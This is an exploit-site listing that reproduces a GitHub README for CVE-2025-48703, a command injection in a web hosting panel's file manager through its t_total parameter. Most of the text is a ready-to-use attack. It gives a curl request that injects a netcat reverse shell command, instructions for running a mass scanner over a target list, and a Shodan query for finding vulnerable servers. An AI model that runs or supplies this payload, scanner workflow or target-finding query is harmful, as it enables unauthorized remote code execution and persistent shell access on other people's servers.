Sploitus

Exploit for CVE-2025-48703

githubexploit Β· 2025-06-26

Exploit Code

README38 lines
## https://sploitus.com/exploit?id=948E719F-C0C9-518E-969F-C65D0D6FBE65
# πŸ›‘οΈ CVE-2025-48703 - Remote Code Execution (RCE) in cPanel File Manager

## πŸ“Œ Description

**CVE-2025-48703** is a Remote Code Execution (RCE) vulnerability in the `filemanager` module of a web hosting control panel (e.g., cPanel). It occurs due to **unsanitized input handling** in the `acc=changePerm` function, which allows an attacker to inject and execute arbitrary system commands using the `t_total` parameter.

---

## 🧨 Impact

This vulnerability allows attackers to:

- Execute arbitrary commands on the target server.
- Establish a reverse shell for persistent access.
- Potentially escalate privileges or move laterally.

> ⚠️ This attack can be performed with minimal authentication, or in some configurations, unauthenticated access.

---

## πŸš€ Proof-of-Concept (PoC)

### βœ… Reverse Shell Command

```bash
curl -kis 'https://:2083/myuser/index.php?module=filemanager&acc=changePerm' \
  --data 'fileName=.bashrc&currentPath=/home/myuser&t_total=`nc  4444 -e /bin/bash`'
```
## Scanner usage
```bash
python3 Scanner.py  #Make sure targets.txt is in the same dir
```
## Shodan search 
```text
Server: cwpsrv
```
Reference: https://fenrisk.com/rce-centos-webpanel